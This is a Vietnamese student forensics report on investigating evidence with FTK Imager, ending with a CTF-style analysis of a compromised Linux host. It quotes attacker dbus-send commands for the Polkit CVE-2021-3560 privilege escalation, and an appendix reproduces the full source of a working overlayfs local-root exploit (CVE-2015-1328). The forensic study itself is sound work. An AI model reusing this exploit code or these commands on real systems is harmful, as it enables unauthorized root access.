Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống
1
/ 55 trang
THÔNG TIN TÀI LIỆU
Thông tin cơ bản
Định dạng
Số trang
55
Dung lượng
6,27 MB
Nội dung
BAN CƠ YẾU CHÍNH PHỦ HỌC VIỆN KỸ THUẬT MẬT Mà ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ BÁO CÁO PHÒNG CHỐNG VÀ ĐIỀU TRA TỘI PHẠM MÁY TÍNH L01 ĐỀ TÀI ĐIỀU TRA VÀ PHÂN TÍCH BẰNG CHỨNG BẰNG CÁCH SỬ DỤNG FTK IMAGES Sinh viên thực hiện: Bùi Anh Hiếu - AT140711 Trần Đức Lương - AT140131 Phạm Thu Phương - AT140536 Vi Thị Thoa - AT140642 Giảng viên hướng dẫn: TS Nguyễn Mạnh Thắng Khoa An tồn thơng tin – Học viện Kỹ Thuật Mật mã Hà Nội, 2021 LỜI CẢM ƠN Trong q trình thực đề tài này, nhóm chúng em xin chân thành cảm ơn giúp đỡ tận tình q thầy Khoa An tồn thơng tin – Học viện Kỹ thuật Mật mã Đặc biệt, chúng em xin chân thành cảm ơn TS Nguyễn Mạnh Thắng – Khoa An tồn thơng tin Học viện Kỹ thuật Mật mã hướng dẫn tận tình tạo điều kiện tốt để chúng em thực đề tài Chúng em xin chân thành cảm ơn Nhóm sinh viên thực ii MỤC LỤC LỜI CẢM ƠN ii DANH MỤC HÌNH ẢNH .v LỜI NÓI ĐẦU vi CHƯƠNG TỔNG QUAN VỀ ĐIỀU TRA SỐ 1.1 Khái niệm điều tra số .1 1.2 Phân loại điều tra số 1.3 Điều tra máy tính .3 1.3.1 Khái niệm 1.3.2 Một số công cụ hỗ trợ CHƯƠNG ĐIỀU TRA SỐ VÀ PHÂN TÍCH BẰNG CHỨNG SỬ DỤNG FTK IMAGER 2.1 Một số tính FTK Imager 2.2 Ưu - nhược điểm FTK Imager 12 CHƯƠNG (THỰC NGHIỆM) ĐIỀU TRA SỐ VÀ PHÂN TÍCH BẰNG CHỨNG SỬ DỤNG FTK IMAGES 14 3.1 Chuẩn bị 14 3.2 Demo chức FTK Imager 15 3.2.1 Create Disk Image 16 3.2.2 Add Evidence Item 20 3.2.3 Decrypt AD1 image 22 3.2.4 Detect EFS Encrytion 23 3.2.5 Obtain Protected File 24 3.2.6 Capture Memory 26 3.3 Điều tra FTK Imager 31 KẾT LUẬN 40 TÀI LIỆU THAM KHẢO 41 Phụ lục Nội dung file 37292.c 42 iii Phụ lục Danh sách phân công nhiệm vụ 49 iv DANH MỤC HÌNH ẢNH Hình 1.3.1 Một số tiện ích mà Volatility hỗ trợ Hình 2.1.1 Tạo Disk Image .7 Hình 2.1.2 Chọn đĩa nguồn Hình 2.1.3 Chọn vị trí lưu Image Hình 2.1.4 Chọn định dạng Image muốn tạo Hình 2.1.5 Chọn chức Capture Memory 10 Hình 2.1.6 Thực Capture Memory 10 Hình 2.1.7 Gắn Image vào Drive 11 Hình 2.1.8 Thực trích xuất thư mục file bảo vệ 12 v LỜI NĨI ĐẦU Với phát triển khơng ngừng công nghệ 4.0, môi trường Internet ngày khẳng định vị trí Tuy nhiên, với đó, nguy mạng ngày tăng thời kì dịch bệnh diễn biến phức tạp, hệ thống làm việc học tập trực tuyến triển khai rộng rãi Các công mạng diễn ngày, với số vụ phương thức công gia tăng với tốc độ đáng kinh ngạc, với số kỹ thuật cơng mạng, tin tặc thâm nhập đánh cắp liệu quan trọng cơng ty Chính vậy, việc nghiên cứu biện pháp ứng phó trước, sau cố đặc biệt quan trọng Trong đó, q trình Forensic giúp xác định sảy làm ảnh hưởng đến hệ thống, qua xác định ngun nhân hệ thống bị cơng đồng thời thu thập chứng số để phục vụ cho công tác truy cứu trách nhiệm pháp lý sau Trong phạm vi đề tài này, chúng em trình bày phương pháp điều tra phân tích chứng cách sử dụng công cụ FTK Imager Nội dung đề tài chia thành ba phần chính, tổ chức sau: Chương “Tổng quan điều tra số” trình bày khái niệm điều tra số, số hình thức điều tra số điều tra máy tính Giới thiệu số cơng cụ phục vụ q trình điều tra máy tính Chương “Điều tra số phân tích chứng sử dụng FTK Imager” giới thiệu số tính cơng cụ, phân tích ưu – nhược điểm so sánh với công cụ tương tự khác Chương “(Thực nghiệm) Điều tra số phân tích chứng sử dụng FTK Imager” thực giả lập môi trường để tiến hành thử nghiệm điều tra phân tích chứng với công cụ FTK Imager Sau thời gian thực đề tài, mục tiêu đặt đạt Tuy nhiên, vốn kiến thức kinh nghiệm hạn chế nên báo cáo nhiều thiếu sót Chúng em mong nhận góp ý từ thầy bạn Nhóm sinh viên thực vi CHƯƠNG TỔNG QUAN VỀ ĐIỀU TRA SỐ 1.1 Khái niệm điều tra số Điều tra số nhánh ngành khoa học điều tra đề cập đến việc phục hồi điều tra tài liệu tìm thấy thiết bị kỹ thuật số, thường có liên quan đến tội phạm máy tính Thuật ngữ điều tra số ban đầu sử dụng tương đương với điều tra máy tính sau mở rộng để bao quát toàn việc điều tra tất thiết bị có khả lưu trữ liệu số Điều tra số định nghĩa việc sử dụng phương pháp, công cụ kỹ thuật khoa học chứng minh để bảo quản, thu thập, xác nhận, chứng thực, phân tích, giải thích, lập báo cáo trình bày lại thông tin thực tế từ nguồn kỹ thuật số với mục đích tạo điều kiện thúc đẩy việc tái lại kiện nhằm tìm hành vi phạm tội hay hỗ trợ cho việc dự đoán hoạt động trái phép gây gián đoạn trình làm việc hệ thống Theo SANS (SysAdmin, Audit, Networking, and Security) - cơng ty chun đào tạo an tồn thông tin an ninh mạng, điều tra số thường bao gồm giai đoạn: - Chuẩn bị: Bước thực việc mô tả lại thông tin hệ thống, hành vi xảy ra, dấu hiệu để xác định phạm vi điều tra, mục đích tài nguyên cần thiết sử dụng suốt trình điều tra - Tiếp nhận liệu: bước tạo xác liệu (chứng số) hay gọi nhân điều tra phương tiện truyền thông Để đảm bảo tính tồn vẹn chứng thu liệu phải sử dụng kỹ thuật mật mã “băm” liệu (sử dụng SHA1 MD5), trình điều tra cần phải xác minh độ xác thu - Phân tích: giai đoạn chuyên gia sử dụng phương pháp nghiệp vụ, kỹ thuật cơng cụ khác để trích xuất, thu thập phân tích chứng thu - Lập báo cáo: Những chứng thu thập phải tài liệu hóa lại rõ ràng, chi tiết báo cáo lại cho phận có trách nhiệm xử lý chứng theo quy định 1.2 Phân loại điều tra số Điều tra số lĩnh vực liên quan đến việc phục hồi điều tra chứng số tìm thấy thiết bị kỹ thuật số, phân chia thành số loại như: - Điều tra máy tính (Computer Forensics) liên quan đến việc phân tích chứng pháp lý tìm thấy máy tính phương tiện lưu trữ kỹ thuật số Mục đích điều tra máy tính nhằm xác định, bảo quản, phục hồi, phân tích, trình bày lại việc ý kiến thông tin thu - Điều tra mạng (Network Forensics) liên quan đến việc giám sát phân tích lưu lượng mạng máy tính nhằm phục vụ cho việc thu thập thông tin, chứng pháp lý hay phát xâm nhập Điều tra mạng hiểu điều tra số môi trường mạng, có thực điều tra độc lập kết hợp với điều tra máy tính Điều tra mạng thường sử dụng để phát mối liên kết thiết bị kỹ thuật số hay phục hồi lại quy trình phạm tội - Điều tra thiết bị di động (Mobile device Forensics) liên quan đến việc thu hồi chứng kỹ thuật số liệu từ thiết bị di động Thiết bị di động không đề cập đến điện thoại di động mà thiết bị kỹ thuật số có nhớ khả giao tiếp, bao gồm thiết bị PDA, GPS máy tính bảng - Điều tra ứng dụng (Application Forensics) loại hình điều tra phân tích ứng dụng chạy hệ thống Email, liệu trình duyệt, skype, yahoo… Qua trích xuất ghi lưu trữ ứng dụng phục vụ cho việc điều tra tìm kiếm chứng 1.3 Điều tra máy tính 1.3.1 Khái niệm Điều tra máy tính (Computer Forensic - CF) nhánh điều tra số, thực thu thập, kiểm tra, báo cáo kết hoạt động phát máy tính Điều tra máy tính liên quan đến việc phân tích chứng pháp lý tìm thấy máy tính phương tiện lưu trữ kỹ thuật số Mục đích điều tra máy tính xác định, bảo quản, phục hồi, phân tích trình bày lại việc thông tin thu từ thiết bị số Chứng cốt lõi mà điều tra viên tìm kiếm Chứng thứ chứng minh bác bỏ nhận định (có thể liệu máy tính hay bytes liệu – tương đương địa IP) Chứng có thu thập thường giai đoạn ứng cứu cố nơi mà xác nhận phát sinh cố, đồng thời thu thập liệu volatile nonvolatile Dữ liệu volatile bị thay đổi trước thu thập liệu memory dump chứa IP tin tặc Các liệu non-volatile liệu chứa đĩa cứng tắt nguồn CD-ROMs Quá trình điều tra phân tích thực dựa chứng thu thập được, từ vẽ lên tranh cố sảy Quá trình phân tích địi hỏi sử dụng kết hợp cơng cụ, kỹ thuật khác để tìm mối liên hệ kiện Sau báo cáo kết điều tra, báo cáo điều tra cần xác để giúp cơng tác truy cứu trách nhiệm pháp lý thực 1.3.2 Một số công cụ hỗ trợ 1.3.2.1 Volatility Volatility framework với nhiều plugins dùng để phân tích tìm kiếm thơng tin từ chứng thu Các plugins viết để phân tích điều tra nhớ theo kiến trúc hệ điều hành windows Việc phân tích tiến hành mơi trường độc lập với hệ thống ghi lại chứng cứ, thực công việc xác định tiến trình chạy hệ thống đó, registry handles, sockets mở mạng Hình 1.1.3.1 Một số tiện ích mà Volatility hỗ trợ 1.3.2.2 Encase Encase Forensic chương trình hãng Guidance Software sử dụng tảng thiết yếu cho công việc điều tra số EnCase Forensic cho phép: - Thu thập liệu từ nhiều nguồn thiết bị - Phân tích thơng tin từ ổ đĩa cách toàn diện - Tạo báo cáo sâu rộng phát trì tồn vẹn chứng 1.3.2.3 Autopsy Bộ công cụ The Sleuth KIT (TSK), Autopsy.Autopsy giao diện đồ họa cho cơng cụ phân tích điều tra kỹ thuật số công cụ The Sleuth Kit Công cụ sử dụng để khảo sát trích xuất liệu xâm nhập liệu ẩn để thực phân tích điều tra Nó phân tích ổ đĩa Windows UNIX hệ thống tập tin (NTFS, FAT, UFS1/2, Ext2/3) Autopsy cung cấp trình quản lý file giống giao diện hiển thị chi tiết liệu bị xóa cấu trúc tập tin Autopsy thiết kế với tính sau: Kiểm tra user login từ ip 192.168.196.128 thơng qua log wtmp Hình 3.3.10 Thơng tin đăng nhập thành công vào hệ thông từ ip attacker Có thể thấy có user login từ ip attacker rachel chandler Điều tra thêm file /var/log/secure, nhận thấy sau login thành công password vào user chandler, attacker sau sử dụng public_key user để login hình 3.3.11 Hình 3.3.11 Xác thực ssh public key Sau tạo user rachel: Hình 3.3.12 Tạo user Rachel Có user bị Bruce Force thành công Sau xác định user chandler attacker sử dụng để login vào hệ thống, vào /etc/passwd để kiểm tra root directory user này: 35 Hình 3.3.13 Kiểm tra thư mục gốc user chandler V ậy root directory user nằm /home/chandler Truy cập vào bash_history nằm đường dẫn để thấy command user chandler sử dụng: Có thể thấy file shell script tạo chạy hình 3.3.14 Hình 3.3.14 Thơng tin /bat/history(1) Sau đó, file script bị xóa Hình 3.3.15 Thơng tin bat/history(2) 36 Sử dụng R8-Studio để khơi phục lại file hình 3.3.16 Hình 3.3.16 Khơi phục file R8-Studio Hình File script sử dụng để lấy ssh_key từ máy attacker Key nằm /home/chandler/.ssh/authorized_keys: Hình 3.3.17 Public key lấy từ máy attacker Tiếp command dùng để tạo user đặt password cho user đó: dbus-send system dest=org.freedesktop.Accounts type=method_call printreply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:rachel string:"Anon" int32:1 & sleep 0.008s ; kill $!; cat /etc/passwd dbus-send system dest=org.freedesktop.Accounts type=method_call printreply /org/freedesktop/Accounts/User1004 org.freedesktop.Accounts.User.SetPassword string:'$5$Fv2PqfurMmI879J7$ALSJ.w4KTP.mHrHxM2FYV3ueSipCf/QSfQUl ATmWuuB' string:GoldenEye & sleep 0.008s ; kill $! V ậy user rachel tạo d-bus Đây CVE-2021-3560 lỗ hổng leo thang đặc quyền Linux Polkit có tồn RHEL Tiếp tục check log secure nhận thấy sau su lên user rachel, attacker thực wget file c2c.py từ máy server: 37 Hình 3.3.17 Hoạt động download shell từ máy attacker Có thể thấy user rachel sử dụng quyền root để get file python c2c.py lưu /usr/bin Kiểm tra /urs/bin/c2c.py: Hình 3.3.18 Hình ảnh c2c.py Hình Đây script sử dụng dể dựng SMTP server nhận command từ attacker thơng qua mail User mail sử dụng cdefender16@gmail.com Kiểm tra bash_history user rachel: Hình 3.3.18 Thơng tin bash_history Rachel Hình Có thể thấy file shell script get từ máy attacker Có vẻ script sử dụng để get file c2c.py Ngoài ra, attacker sử dụng cron -e với quyền root để edit crontab Kiểm tra cron /var/log: Hình 3.3.19 Thơng tin cron log 38 Có thể thấy actacker đặt lịch cron để chạy c2c.py Kiểm tra file /var/spool/cron thấy cronjob đặt với quyền root để chạy hệ thống reboot: Hình 3.3.20 Cấu hình lập lịch cho c2c.py 39 KẾT LUẬN Trong báo cáo này, nhóm chúng em trình bày phương pháp điểu tra phân tích chứng số sử dụng công cụ FTK Imager Báo cáo cho thấy mục tiêu đặt thực đề tài đạt Chương trình bày số nội dung liên quan đế điều tra số, điều tra máy tính làm sở nghiên cứu phương pháp điều tra phân tích chứng sử dụng FTK Imager Chương trình bày phương pháp điều tra phân tích chứng số, đồng thời giới thiệu công cụ FTK Imager Chương mô tả cách thức sử dụng công cụ FTK Imager để thực điều tra phân tích chứng thực tế Đồng thời đưa dựa kết điều tra đưa nguyên nhân tổ chức bị công, hướng khắc phục manh mối hỗ trợ cho trìn điều tra Mặc dù trình thực đề tài chúng em cố gắng tránh khỏi sai sót trình bày đưa quan điểm Chúng em mong nhận góp ý từ thầy cô bạn Chúng em xin chân thành cảm ơn 40 TÀI LIỆU THAM KHẢO [ 1] Write-up-Insider-CyberDefenders [ 2] FTK Imager eForensics Mag rebranded Aug2014 [ 3] Một số nguồn khác: https://www.hackingarticles.in/comprehensive-guide-on-ftk-imager/ https://tathanh.net/tao-tep-tin-anh-thiet-bi-luu-tru-du-lieu-dien-tu-voiaccessdata-ftk-imager.html 41 Phụ lục Nội dung file 37292.c /* # Exploit Title: ofs.c - overlayfs local root in ubuntu # Date: 2015-06-15 # Exploit Author: rebel # Version: Ubuntu 12.04, 14.04, 14.10, 15.04 (Kernels before 2015-06-15) # Tested on: Ubuntu 12.04, 14.04, 14.10, 15.04 # CVE : CVE-2015-1328 (http://people.canonical.com/~ubuntu- security/cve/2015/CVE-2015-1328.html) *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*= *=*=* CVE-2015-1328 / ofs.c overlayfs incorrect permission handling + FS_USERNS_MOUNT user@ubuntu-server-1504:~$ uname -a Linux ubuntu-server-1504 3.19.0-18-generic #18-Ubuntu SMP Tue May 19 18:31:35 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux user@ubuntu-server-1504:~$ gcc ofs.c -o ofs user@ubuntu-server-1504:~$ id uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),30(dip),46(plugdev) user@ubuntu-server-1504:~$ /ofs spawning threads mount #1 mount #2 child threads done /etc/ld.so.preload created creating shared library 42 # id uid=0(root) gid=0(root) groups=0(root),24(cdrom),30(dip),46(plugdev),1000(user) greets to beist & kaliman 2015-05-24 %rebel% *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*= *=*=* */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include 43 #include #define LIB "#include \n\nuid_t(*_real_getuid) (void);\nchar path[128];\n\nuid_t\ngetuid(void)\n{\n_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, \"getuid\");\nreadlink(\"/proc/self/exe\", (char *) &path, 128);\nif(geteuid() == && !strcmp(path, \"/bin/su\")) {\nunlink(\"/etc/ld.so.preload\");unlink(\"/tmp/ofs-lib.so\");\nsetresuid(0, 0, 0);\nsetresgid(0, 0, 0);\nexecle(\"/bin/sh\", \"sh\", \"-i\", NULL, NULL);\n}\n return _real_getuid();\n}\n" static char child_stack[1024*1024]; static int child_exec(void *stuff) { char *file; system("rm -rf /tmp/ns_sploit"); mkdir("/tmp/ns_sploit", 0777); mkdir("/tmp/ns_sploit/work", 0777); mkdir("/tmp/ns_sploit/upper",0777); mkdir("/tmp/ns_sploit/o",0777); fprintf(stderr,"mount #1\n"); if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper") != 0) { // workdir= and "overlay" is needed on newer kernels, also can't use /proc as lower 44 if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir= /tmp/ns_sploit/work") != 0) { fprintf(stderr, "no FS_USERNS_MOUNT for overlayfs on this kernel\n"); exit(-1); } file = ".access"; chmod("/tmp/ns_sploit/work/work",0777); } else file = "ns_last_pid"; chdir("/tmp/ns_sploit/o"); rename(file,"ld.so.preload"); chdir("/"); umount("/tmp/ns_sploit/o"); fprintf(stderr,"mount #2\n"); if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc") != 0) { if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work") != 0) { exit(-1); } chmod("/tmp/ns_sploit/work/work",0777); } chmod("/tmp/ns_sploit/o/ld.so.preload",0777); umount("/tmp/ns_sploit/o"); 45 } int main(int argc, char **argv) { int status, fd, lib; pid_t wrapper, init; int clone_flags = CLONE_NEWNS | SIGCHLD; fprintf(stderr,"spawning threads\n"); if((wrapper = fork()) == 0) { if(unshare(CLONE_NEWUSER) != 0) fprintf(stderr, "failed to create new user namespace\n"); if((init = fork()) == 0) { pid_t pid = clone(child_exec, child_stack + (1024*1024), clone_flags, NULL); if(pid < 0) { fprintf(stderr, "failed to create new mount namespace\n"); exit(-1); } waitpid(pid, &status, 0); } waitpid(init, &status, 0); 46 return 0; } usleep(300000); wait(NULL); fprintf(stderr,"child threads done\n"); fd = open("/etc/ld.so.preload",O_WRONLY); if(fd == -1) { fprintf(stderr,"exploit failed\n"); exit(-1); } fprintf(stderr,"/etc/ld.so.preload created\n"); fprintf(stderr,"creating shared library\n"); lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777); write(lib,LIB,strlen(LIB)); close(lib); lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w"); if(lib != 0) { fprintf(stderr,"couldn't create dynamic library\n"); exit(-1); } write(fd,"/tmp/ofs-lib.so\n",16); close(fd); system("rm -rf /tmp/ns_sploit /tmp/ofs-lib.c"); 47 execl("/bin/su","su",NULL); } 48 Phụ lục Danh sách phân công nhiệm vụ Họ tên Nhiệm vụ Phạm Thu Phương Chương Trần Đức Lương Chương 2, slide Vi Thị Thoa Chương 3, tổng hợp word Bùi Anh Hiếu Thuyết trình, demo 49 ... ĐIỀU TRA SỐ VÀ PHÂN TÍCH BẰNG CHỨNG SỬ DỤNG FTK IMAGER 2.1 Một số tính FTK Imager 2.2 Ưu - nhược điểm FTK Imager 12 CHƯƠNG (THỰC NGHIỆM) ĐIỀU TRA SỐ VÀ PHÂN TÍCH BẰNG... pháp điều tra phân tích chứng sử dụng FTK Imager Chương trình bày phương pháp điều tra phân tích chứng số, đồng thời giới thiệu công cụ FTK Imager Chương mô tả cách thức sử dụng công cụ FTK Imager. .. quan điều tra số” trình bày khái niệm điều tra số, số hình thức điều tra số điều tra máy tính Giới thiệu số cơng cụ phục vụ q trình điều tra máy tính Chương ? ?Điều tra số phân tích chứng sử dụng FTK